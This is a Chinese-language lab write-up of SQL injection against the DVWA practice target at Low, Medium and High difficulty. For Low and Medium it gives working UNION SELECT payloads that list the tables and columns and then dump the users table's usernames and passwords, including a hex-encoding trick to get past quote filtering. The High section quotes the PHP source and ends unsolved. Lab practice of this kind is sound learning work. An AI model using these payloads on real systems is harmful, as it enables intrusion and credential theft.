OWASPBWA中DVWA 靶機的SQL注入
難度等級:Low
-
簡單輸入
1
查詢看出正常搜尋的樣子 -
輸入基礎的
1 or 1=1 #
看到注入未生效,與輸入1返回的結果相同 -
輸入基礎的
1' or 1=1 #
看到所有使用者的使用者資訊被暴露出來,存在注入,閉合方式為單引號閉合 -
確定了存在注入,我們可以開始查詢我們的資料庫名叫什麼,輸入注入語句
1' union select 1,database() #
,第一段返回的內容是1'
返回的ID為1的使用者資訊,第二段內容是我們union select
到的內容,即返回值的第一行是一個數字1,第二行是資料庫名即資料庫名是"dvwa"
-
通過已知的資料庫名,我們用資料庫資訊檢視可以檢索到資料庫中有幾張表,輸入如下注入語句
1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#
1'
返回的ID為1的使用者資訊,後面的段是查詢到的"dvwa"資料庫中的表資訊即"dvwa"資料庫中有兩張表,第一張表的表名叫做"guestbook",第二張表的表名叫做"users"
-
已知表名後我們想要查詢到"users"表中的內容,因此繼續注入搜尋"users"表中有哪些列,注入語句
1' union select 1,column_name from information_schema.columns where table_name='users'#
,得到"users"表中的列即"users"表中的列名有:user_id、first_name、last_name、user、password、avatar。
-
在列名中我們很開心地看到了想要爆破的內容:user和password,也剛好是能顯示的兩行內容,所以使用注入語句將其爆破出來
1' union select user,password from users#
查詢到的內容即"First name"為user列的內容,"Surname"為password列的內容,爆破成功。
如上所述,DVWA靶機中Low難度的SQL注入思路為:(Limonene0x原創)確定注入點存在-->查詢資料庫名-->查詢資料庫中有哪幾張表-->查詢想要查詢的表中有哪幾列-->查詢想要的列的資料-->爆破成功。
該段思路為Limonene0x原創,注入語句參考[
難度等級:Medium
建議參看Low難度的解題思路與部分操作步驟閱讀,可方便理解。
-
輸入
1
查詢正常情況下的返回為下圖所示 -
輸入其他內容(如字母)發現,在該難度下,輸入會報錯,頁面返回提示
Unknown column 'test' in 'where clause'
,因此判斷該處只能查詢數字(Low難度下,該處輸入其他內容不會返回值但也不報錯),嘗試直接使用1 or 1=1 #
測試,發現存在注入點 -
沿用Low最後的思路嘗試查詢資料庫名
1 union select 1,database()#
發現成功操作。資料庫名出現。
-
沿用Low難度思路,使用
1 union select 1,table_name from information_schema.tables where table_schema='dvwa'#
注入,發現報錯You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'dvwa\'#' at line 1
,顯然,單引號不能使用,避免使用單引號,直接在dvwa的地方呼叫database()函式來獲取資料庫名,注入語句變為1 union select 1,table_name from information_schema.tables where table_schema=database()#
,這樣就成功爆破出了資料庫中有哪些表。資料庫中有"guestbook"和"users"兩個表
-
繼續查詢users表中有哪些列,注入語句本應為
1 union select 1,column_name from information_schema.columns where table_name='users'#
,但這裡的單引號已經無法避免使用,所以只好引入新知識可以用16進位制進行繞過
使用線上工具即可將文字內容轉換為16進製表示,users即7573657273,記得16進位制的表示要在數值前加0x,線上轉換器如https://www.sojson.com/hexadecimal.html 等。
轉換後注入語句變為
1 union select 1,column_name from information_schema.columns where table_name=0x7573657273#
注入成功,返回了users表中存在的列名有:user_id、first_name、last_name、user、password、avatar。
-
繼續注入獲取user和password列的內容,由於沒有要是用單引號的文字,直接可以查詢,注入語句是
1 union select user,password from users#
查詢到的內容即"First name"為user列的內容,"Surname"為password列的內容,爆破成功。
該段注入語句參考[https://blog.csdn.net/qq_39926171/article/details/89388822]
難度等級:High
建議參看Low、Medium難度的解題思路與部分操作步驟閱讀,可方便理解。
-
輸入
1
查詢正常情況下的返回為下圖所示 -
嘗試簡單的注入語句,確認注入點是否存在。
使用
1 or 1=1 #
、1' or 1=1 #
發現均沒有返回,而且不報錯。 -
鑑於單純嘗試無法發現注入點,因此在學習時要懂得合理利用提示(手動狗頭),在以後才能直接想到這種解法,我們點選檢視原始碼(View Source)
<?php
if (isset($_GET['Submit'])) {
// Retrieve data
$id = $_GET['id'];
$id = stripslashes($id);
$id = mysql_real_escape_string($id);
if (is_numeric($id)){
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i=0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
}
?>
發現在原始碼中,使用了stripslashes()函式和mysql_real_escape_string()函式處理提交的內容
stripslashes($id)函式用來將提交的id中的反斜槓(\)去掉
參考:https://www.w3school.com.cn/php/func_string_stripslashes.asp
mysql_real_escape_string($id)函式用來將提交的id中的特殊字元轉義
參考:https://www.w3school.com.cn/php/func_mysql_real_escape_string.asp
但是~發現在原始碼中使用了is_numeric($id),當我們輸入的內容不是數字的時候,不會進行查詢,因此我們的輸入必須是數字
暫時失敗了,不會哈哈哈~~~